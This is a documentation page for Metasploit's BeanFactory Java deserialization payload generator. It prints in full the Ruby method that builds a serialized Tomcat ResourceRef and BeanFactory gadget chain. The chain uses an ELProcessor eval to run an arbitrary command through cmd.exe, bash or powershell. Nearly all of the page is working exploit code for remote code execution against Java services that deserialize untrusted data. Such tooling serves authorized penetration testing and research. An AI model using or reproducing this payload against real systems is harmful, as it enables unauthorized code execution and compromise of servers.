Class: Msf::Util::JavaDeserialization::BeanFactory

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/util/java_deserialization/bean_factory.rb

Class Method Summary collapse

Class Method Details

.generate(cmd, shell: nil) ⇒ Object


11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# File 'lib/msf/util/java_deserialization/bean_factory.rb', line 11

def self.generate(cmd, shell: nil)
  js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"

  # emulate the same behavior as the ysoserial-modified series,
  # see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11
  payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("
  case shell
  when 'cmd'
    payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"
  when 'bash'
    payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"
  when 'powershell'
    payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"
  when nil
    payload_string << js_escaped
  else
    raise NotImplementedError, "unsupported shell: #{shell.inspect}"
  end
  payload_string << ")\")}"

  builder = Rex::Java::Serialization::Builder.new
  stream = Rex::Java::Serialization::Model::Stream.new
  stream.contents = [
    builder.new_object(
      name: 'org.apache.naming.ResourceRef',
      serial: 1,
      flags: 2,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
      super_class: builder.new_class(
        name: 'org.apache.naming.AbstractRef',
        serial: 1,
        flags: 2,
        annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
        super_class: builder.new_class(
          name: 'javax.naming.Reference',
          serial: 16773268283643759881,
          flags: 2,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
        ).tap { |new_class|
          new_class.fields = [
            new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),
            new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),
            new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),
            new_field(name: 'className', field_type: new_ref(handle: 8257540))
          ]
        },
      ),
      data: [
        builder.new_object(
          name: 'java.util.Vector',
          serial: 15679138459660562177,
          flags: 3,
          annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
          data: [
            ['int', 0],
            ['int', 5],
            # stream.contents.first.class_data[0].class_data[2]
            builder.new_array(
              values_type: 'java.lang.Object;',
              name: '[Ljava.lang.Object;',
              serial: 10434374826863044972,
              flags: 2,
              annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
              # stream.contents.first.class_data[0].class_data[2].values
              values: [
                # stream.contents.first.class_data[0].class_data[2].values[0]
                builder.new_object(
                  name: 'javax.naming.StringRefAddr',
                  serial: 9532981578571046089,
                  flags: 2,
                  annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
                  super_class: builder.new_class(
                    name: 'javax.naming.RefAddr',
                    serial: 16978578953230397258,
                    flags: 2,
                    annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
                  ).tap { |new_class|
                    new_class.fields = [
                      new_field(name: 'addrType', field_type: new_ref(handle: 8257540))
                    ]
                  },
                  data: [
                    Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),
                    Rex::Java::Serialization::Model::Utf.new(stream)
                  ]
                ).tap { |new_object|
                  new_object.class_desc.description.fields = [
                    new_field(name: 'contents', field_type: new_ref(handle: 8257540))
                  ]
                },
                # stream.contents.first.class_data[0].class_data[2].values[1]
                builder.new_object(
                  description: new_ref(handle: 8257547),
                  data: [
                    Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),
                    new_ref(handle: 8257551)
                  ]
                ),
                builder.new_object(
                  description: new_ref(handle: 8257547),
                  data: [
                    Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),
                    Rex::Java::Serialization::Model::Utf.new(stream, 'true'),
                  ]
                ),
                # stream.contents.first.class_data[0].class_data[2].values[3]
                builder.new_object(
                  description: new_ref(handle: 8257547),
                  data: [
                    Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),
                    Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),
                  ]
                ),
                # stream.contents.first.class_data[0].class_data[2].values[4]
                builder.new_object(
                  description: new_ref(handle: 8257547),
                  data: [
                    Rex::Java::Serialization::Model::Utf.new(stream, 'x'),
                    Rex::Java::Serialization::Model::Utf.new(stream, payload_string),
                  ]
                ),
                # stream.contents.first.class_data[0].class_data[2].values[5]
                Rex::Java::Serialization::Model::NullReference.new,
                Rex::Java::Serialization::Model::NullReference.new,
                Rex::Java::Serialization::Model::NullReference.new,
                Rex::Java::Serialization::Model::NullReference.new,
                Rex::Java::Serialization::Model::NullReference.new,
              ]
            )
          ]
        ).tap { |new_object|
          new_object.class_desc.description.fields = [
            new_field(type: 'int', name: 'capacityIncrement'),
            new_field(type: 'int', name: 'elementCount'),
            new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')
          ]
        },
        Rex::Java::Serialization::Model::EndBlockData.new,
        Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),
        Rex::Java::Serialization::Model::NullReference.new
      ]
    ),
    Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')
  ]
  stream.encode
end